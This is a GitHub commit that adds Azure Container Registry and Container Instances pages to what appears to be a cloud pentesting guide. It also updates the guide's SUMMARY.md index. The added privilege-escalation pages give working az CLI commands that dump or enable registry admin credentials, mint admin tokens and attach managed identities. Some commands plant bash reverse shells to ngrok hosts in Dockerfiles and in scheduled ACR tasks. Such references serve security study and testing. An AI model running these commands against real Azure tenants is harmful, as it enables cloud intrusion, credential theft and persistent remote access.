Skip to content

Commit edbb9a8

Browse files
committed
azure container
1 parent f7bbd56 commit edbb9a8

File tree

6 files changed

+440
-4
lines changed

6 files changed

+440
-4
lines changed

src/SUMMARY.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -408,6 +408,8 @@
408408
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
409409
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
410410
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
411+
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
412+
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
411413
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
412414
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
413415
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -445,7 +447,7 @@
445447
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
446448
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
447449
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
448-
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
450+
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
449451
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
450452
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
451453
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
@@ -460,14 +462,16 @@
460462
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
461463
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
462464
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
463-
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
465+
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
466+
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
467+
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
464468
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
465469
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
466470
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
467471
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
468472
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
469-
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
470-
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
473+
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
474+
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
471475
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
472476
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
473477
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)

src/images/registry_roles.png

32.8 KB
Loading
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# Az - Azure Container Instances Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Azure Container Instances
6+
7+
Fore more information check:
8+
9+
{{#ref}}
10+
../az-services/az-container-instances.md
11+
{{#endref}}
12+
13+
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
14+
15+
These permissions allow the user to **execute a command** in a running container. This can be used to **escalate privileges** in the container if it has any managed identity attached. Ofc, it's also possible to access the source code and any other sentitive information storeed inside the container.
16+
17+
To execute a `ls` and get the output is as simple as:
18+
19+
```bash
20+
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
21+
```
22+
23+
It's also possible to **read the output** of the container with:
24+
25+
```bash
26+
az container attach --name <container-name> --resource-group <res-group>
27+
```
28+
29+
Or get the logs with:
30+
31+
```bash
32+
az container logs --name <container-name> --resource-group <res-group>
33+
```
34+
35+
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
36+
37+
These permissions allows to **attach a user managed identity** to a container group. This is very useful to escalate privileges in the container.
38+
39+
To attach a user managed identity to a container group:
40+
41+
```bash
42+
az rest \
43+
--method PATCH \
44+
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
45+
--body '{
46+
"identity": {
47+
"type": "UserAssigned",
48+
"userAssignedIdentities": {
49+
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
50+
}
51+
}
52+
}' \
53+
--headers "Content-Type=application/json"
54+
```
55+
56+
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
57+
58+
These permission allows to **create or update a container group** with a **user managed identity** attached to it. This is very useful to escalate privileges in the container.
59+
60+
```bash
61+
az container create \
62+
--resource-group <res-group>> \
63+
--name nginx2 \
64+
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
65+
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
66+
--restart-policy OnFailure \
67+
--os-type Linux \
68+
--cpu 1 \
69+
--memory 1.0
70+
```
71+
72+
Moreover, it's also possible to update an existing container group adding for example the **`--command-line` argument** with a reverse shell.
73+
74+
{{#include ../../../banners/hacktricks-training.md}}
75+
76+
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
# Az - Azure Container Registry Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Azure Container Registry
6+
7+
Fore more information check:
8+
9+
{{#ref}}
10+
../az-services/az-container-registry.md
11+
{{#endref}}
12+
13+
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
14+
15+
This permission allows the user to list the admin credentials of the ACR. This is useful to **get full access** over the registry
16+
17+
```bash
18+
az rest --method POST \
19+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
20+
```
21+
22+
In case the admin credentials aren't enabled, you will also need the permission `Microsoft.ContainerRegistry/registries/write` to enable them with:
23+
24+
```bash
25+
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
26+
```
27+
28+
29+
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
30+
31+
These permissions allow the user to **create a new token** with passwords to access the registry.
32+
33+
To use the `az cli`to generate it as in the following example you will also need the permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
34+
35+
```bash
36+
az acr token create \
37+
--registry <registry-name> \
38+
--name <token-name> \
39+
--scope-map _repositories_admin
40+
```
41+
42+
43+
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
44+
45+
These permissions allow the user to **build and run an image** in the registry. This can be used to **execute code** in the container.
46+
47+
>[!WARNING]
48+
> However, the image will be executed in a **sandboxed environment** and **without access to the metadata service**. This means that the container will not have access to the **instance metadata** so this isn't really useful to escalate privileges
49+
50+
```bash
51+
# Build
52+
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
53+
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
54+
```
55+
56+
57+
### `Microsoft.ContainerRegistry/registries/tasks/write`
58+
59+
This is the main permission that allows to create and update a task in the registry. This can be used to **execute a code inside a container with a managed identity attached to it** in the container.
60+
61+
This is the example on how to execute a reverseh shell in a container with the **system managed** identity attached to it:
62+
63+
```bash
64+
az acr task create \
65+
--registry <registry-name> \
66+
--name reverse-shell-task \
67+
--image rev/shell:v1 \
68+
--file ./Dockerfile \
69+
--context https://github.com/carlospolop/Docker-rev.git \
70+
--assign-identity \
71+
--commit-trigger-enabled false \
72+
--schedule "*/1 * * * *"
73+
```
74+
75+
Another way to get a RCE from a task without using an external repository is to use the `az acr task create` command with the `--cmd` flag. This will allow you to run a command in the container. For example, you can run a reverse shell with the following command:
76+
77+
```bash
78+
az acr task create \
79+
--registry <registry-name> \
80+
--name reverse-shell-task-cmd \
81+
--image rev/shell2:v1 \
82+
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
83+
--schedule "*/1 * * * *" \
84+
--context /dev/null \
85+
--commit-trigger-enabled false \
86+
--assign-identity
87+
```
88+
89+
> [!TIP]
90+
> Note that to assign the system managed identity you don't need any special permission, although it must have been enabled before in the registry and assigned some permissions for it to be useful.
91+
92+
To assign a **user managed identity also** you would need the permission `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` to do:
93+
94+
```bash
95+
az acr task create \
96+
--registry <registry-name> \
97+
--name reverse-shell-task \
98+
--image rev/shell:v1 \
99+
--file ./Dockerfile \
100+
--context https://github.com/carlospolop/Docker-rev.git \
101+
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
102+
--commit-trigger-enabled false \
103+
--schedule "*/1 * * * *"
104+
```
105+
106+
To **update** the repo of an existent task you can do:
107+
108+
```bash
109+
az acr task update \
110+
--registry <registry-name> \
111+
--name reverse-shell-task \
112+
--context https://github.com/your-user/your-repo.git
113+
```
114+
115+
116+
### `Microsoft.ContainerRegistry/registries/importImage/action`
117+
118+
With this permission it's possible to **import an image to the azure registry**, even without having the image locally. However, note that you **cannot import an image with a tag** that already exists in the registry.
119+
120+
```bash
121+
# Push with az cli
122+
az acr import \
123+
--name <registry-name> \
124+
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
125+
```
126+
127+
In order to **untag or delete a specific image tag** from the registry you can use the following command. However, note that you will need a user or token with **enough permissions** to do it:
128+
129+
```bash
130+
az acr repository untag \
131+
--name <registry-name> \
132+
--image <image-name>:<tag>
133+
134+
az acr repository delete \
135+
--name <registry-name> \
136+
--image <image-name>:<tag>
137+
```
138+
139+
140+
141+
{{#include ../../../banners/hacktricks-training.md}}
142+
143+
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Az - Container Instances
2+
3+
{{#include ../../../../banners/hacktricks-training.md}}
4+
5+
## Basic Information
6+
7+
Azure Container Instances (ACI) provide a **serverless, on-demand way** to run **containers** in the Azure cloud. You can **deploy** single or multiple containers in a group with **scalable compute**, **networking options**, and the flexibility to connect to **other Azure services** (like Storage, Virtual Networks, or Container Registries).
8+
9+
As they are **ephemeral** workloads, you don't need to manage the underlying VM infrastructure — Azure handles that for you. However, from an **offensive security perspective**, it's crucial to understand how **permissions**, **identities**, **network configurations**, and **logs** can reveal attack surfaces and potential misconfigurations.
10+
11+
12+
### Configurations
13+
14+
- In order to create a container it's possible to use a public image, a container image from an Azure Container Registry or an external repository, which might **require to configure a password** to access it.
15+
- Regarding networking it can also have a **public IP** or be **private endpoints**.
16+
- It's also possible to configure common docker settings like:
17+
- **Environment variables**
18+
- **Volumes** (even from Azure Files)
19+
- **Ports**
20+
- **CPU and memory limits**
21+
- **Restart policy**
22+
- **Run as privileged**
23+
- **Command line to run**
24+
- ...
25+
26+
27+
## Enumeration
28+
29+
> [!WARNING]
30+
> When enumerating ACI, you can reveal sensitive configurations such as **environment variables**, **network details**, or **managed identities**. Be cautious with logging or displaying them.
31+
32+
```bash
33+
# List all container instances in the subscription
34+
az container list
35+
36+
# Show detailed information about a specific container instance
37+
az container show --name <container-name> --resource-group <res-group>
38+
39+
# Fetch logs from a container
40+
az container logs --name <container-name> --resource-group <res-group>
41+
42+
# Execute a command in a running container and get the output
43+
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
44+
45+
# Get yaml configuration of the container group
46+
az container export --name <container-name> --resource-group <res-group>
47+
```

0 commit comments

Comments
 (0)